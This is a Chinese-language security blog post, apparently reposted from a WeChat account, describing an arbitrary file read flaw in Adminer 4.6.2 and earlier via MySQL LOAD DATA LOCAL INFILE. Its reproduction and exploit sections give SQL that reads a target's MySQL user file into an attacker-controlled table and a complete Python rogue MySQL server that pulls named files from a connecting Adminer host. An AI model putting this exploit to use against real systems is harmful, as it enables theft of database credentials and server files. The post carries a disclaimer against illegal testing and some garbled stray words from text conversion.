Adminer≤4.6.2任意文件讀取漏洞

聲明: 該公衆號大部分文章來自做者平常學習筆記,也有少部分文章是通過原做者受權和其餘公衆號白名單轉載,未經受權,嚴禁轉載,如需轉載,聯繫開白。

請勿利用文章內的相關技術從事非法測試,如所以產生的一切不良後果與文章做者和本公衆號無關。php


0x01 前言
html

Adminer是一款輕量級的Web端數據庫管理工具,支持MSSQL、MSSQL、Oracle、SQLite、PostgreSQL等衆多主流數據庫,相似於phpMyAdmin的MySQL管理客戶端,整個程序只有一個PHP文件,易於使用安裝,支持鏈接遠程數據庫,https://github.com/vrana/adminer 。python


0x02 漏洞原理mysql

Adminer任意文件讀取漏洞其實來源於MySQL「LOAD DATA INFILE」安全問題,原理可參考先知社區 @mntn 寫的「 經過MySQL LOAD DATA特性來達到任意文件讀取 」,Adminer4.6.3版本中已經修復了LOAD DATA LOCAL INFILE問題。

0x03 漏洞復現git

將咱們攻擊機的MySQL開啓 外鏈,而後執行EXP去 讀取一個不存在的文件讓其報錯獲得 絕對路徑,最後 再去讀取 數據庫配置等 指定文件便可,這裏我隨便讀取的一個文件用於測試。
grant all privileges on *.* to 'root'@'%' identified by 'root' with grant option;grant all privileges on *.* to 'root'@'%'; //MySQL8開啓外鏈


Adminer 鏈接攻擊機MySQL數據庫時的用戶名、密碼及數據庫名能夠隨意輸入,只要服務器IP對便可。
root@kali:/tmp# python mysql_client.py "D:\phpStudy\PHPTutorial\WWW\av\1.php"

也能夠在咱們攻擊機的MySQL建立一個新的數據庫和表,而後在Adminer填入攻擊機的MySQL服務器IP、用戶名、密碼和剛建立的數據庫名。
create database adminer; //建立adminer數據庫use adminer; //進入adminer數據庫create table test(text text(4096));     //建立test數據表

執行如下SQL語句便可讀取指定文件並將讀取到的文件內容寫入到剛建立的數據表裏,不過得注意一下目標機的secure_file_priv選項,當它的值null時就會讀取不了文件了。github

load data local infile "D:\\phpStudy\\PHPTutorial\\MySQL\\data\\mysql\\user.MYD" into table test FIELDS TERMINATED BY '\n';
select * from test;       //查看test表內容truncate table test; //清空test表內容drop database adminer; //刪除adminer數據庫


0x04 利用程序web

#coding=utf-8 import socketimport loggingimport syslogging.basicConfig(level=logging.DEBUG)
filename=sys.argv[1]sv=socket.socket()sv.setsockopt(1,2,1)sv.bind(("",3306))sv.listen(5)conn,address=sv.accept()logging.info('Conn from: %r', address)conn.sendall("\x4a\x00\x00\x00\x0a\x35\x2e\x35\x2e\x35\x33\x00\x17\x00\x00\x00\x6e\x7a\x3b\x54\x76\x73\x61\x6a\x00\xff\xf7\x21\x02\x00\x0f\x80\x15\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x70\x76\x21\x3d\x50\x5c\x5a\x32\x2a\x7a\x49\x3f\x00\x6d\x79\x73\x71\x6c\x5f\x6e\x61\x74\x69\x76\x65\x5f\x70\x61\x73\x73\x77\x6f\x72\x64\x00")conn.recv(9999)logging.info("auth okay")conn.sendall("\x07\x00\x00\x02\x00\x00\x00\x02\x00\x00\x00")conn.recv(9999)logging.info("want file...")wantfile=chr(len(filename)+1)+"\x00\x00\x01\xFB"+filenameconn.sendall(wantfile)content=conn.recv(9999)logging.info(content)conn.close()

0x05 參考連接sql

  • https://xz.aliyun.com/t/3973數據庫

  • https://dev.mysql.com/doc/refman/8.0/en/load-data-local-security.html安全



【推薦書籍】

本文分享自微信公衆號 - 貝塔安全實驗室(BetaSecLab)。
若有侵權,請聯繫 support@oschina.cn 刪除。
本文參與「OSC源創計劃」,歡迎正在閱讀的你也加入,一塊兒分享。

相關文章
相關標籤/搜索